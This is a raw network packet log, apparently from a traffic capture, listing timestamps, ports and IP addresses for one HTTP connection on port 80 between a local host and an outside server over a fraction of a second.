Apr 22, 2024 01:18:07.354855061 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.354860067 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.354899883 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.354938030 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.354991913 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355030060 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355067968 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355072975 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.355107069 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355144024 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355180979 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355217934 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355253935 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.355253935 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.355257988 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355297089 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355302095 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.355302095 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.355335951 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355361938 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.355374098 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355412006 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.355427980 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.355451107 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355489016 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355526924 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355537891 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.355537891 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.355564117 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355578899 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.355611086 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.355614901 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355653048 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355665922 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.355691910 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355707884 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.355730057 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355778933 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.355778933 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.355799913 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355839014 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355875969 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.355875969 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355909109 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.355916977 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355928898 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.355954885 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.355988026 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356065035 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356091976 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356148005 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356164932 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356189966 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356221914 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356230021 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356240034 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356267929 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356282949 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356307983 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356348038 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356358051 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356358051 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356385946 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356396914 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356425047 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356443882 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356462002 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356482983 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356499910 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356518030 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356537104 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356554031 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356575012 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356599092 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356612921 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356627941 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356650114 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356658936 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356689930 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356728077 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356739044 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356739044 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356765032 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356796026 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356801987 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356820107 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356839895 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356862068 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356877089 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356894016 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356914043 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356951952 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.356951952 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.356991053 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357001066 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357001066 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357028961 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357060909 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357074022 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357085943 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357115984 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357117891 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357173920 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357180119 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357213020 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357232094 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357250929 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357259989 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357289076 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357326031 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357331991 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357331991 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357364893 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357393980 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357402086 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357414961 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357440948 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357477903 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357489109 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357489109 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357516050 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357532978 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357553959 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357559919 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357593060 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357611895 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357630014 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357647896 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357667923 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357695103 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357705116 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357726097 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357743979 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357759953 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357781887 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357789993 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357819080 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357836008 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357856035 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357873917 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357893944 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357911110 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357930899 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357947111 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.357969999 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.357994080 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358007908 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358010054 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358055115 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358093977 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358097076 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358097076 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358134031 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358144045 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358172894 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358210087 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358217955 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358217955 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358247995 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358273983 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358284950 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358299017 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358325005 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358342886 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358361959 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358392954 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358400106 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358439922 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358455896 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358494043 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358505011 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358505011 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358531952 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358541965 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358571053 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358608961 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358613968 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358613968 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358644962 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358660936 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358683109 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358696938 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358726025 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358763933 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358767033 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358767033 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358803988 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358828068 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358841896 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358864069 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358880043 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358899117 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358917952 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358925104 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358954906 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.358973980 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.358993053 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359021902 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359030962 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359050989 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359070063 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359108925 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359117031 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359117031 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359148979 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359179974 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359188080 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359191895 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359225988 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359256029 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359263897 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359302044 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359311104 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359311104 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359339952 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359344959 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359378099 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359390974 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359416008 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359416962 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359455109 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359467983 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359491110 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359507084 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359529972 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359559059 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359568119 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359587908 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359605074 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359615088 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359643936 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359658003 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359682083 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359694958 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359720945 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359738111 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359759092 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359780073 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359797955 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359838009 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.359844923 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359844923 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.359939098 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.589267969 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.589332104 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.589373112 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.589415073 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.589459896 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.589459896 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.589459896 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.589802980 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.607285976 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.607347965 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.607362986 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.607389927 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.607429028 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.607469082 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.607508898 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.607523918 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.607523918 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.607523918 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.607549906 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.607551098 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.607551098 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.607618093 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.611737967 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.611804962 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.611824989 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.611845970 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.611886024 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.611891985 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.611891985 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.611924887 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.611948967 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.611964941 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.611983061 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612004042 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612042904 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612049103 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612049103 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612085104 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612127066 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612133980 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612154961 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612193108 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612199068 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612231970 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612271070 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612276077 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612276077 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612312078 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612323999 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612350941 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612358093 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612390041 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612406015 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612428904 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612466097 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612473011 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612473011 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612505913 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612520933 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612549067 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612560034 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612587929 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612601042 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612627983 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612631083 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612667084 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612679958 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612706900 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612725019 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612745047 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612755060 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612785101 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612819910 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612823963 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612838984 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612863064 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612864017 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612901926 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612938881 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612945080 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612945080 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.612976074 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.612993956 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.613014936 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.613028049 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.613055944 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.613065958 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.613096952 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.613104105 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.613138914 CEST	80	49710	193.233.132.175	192.168.2.5
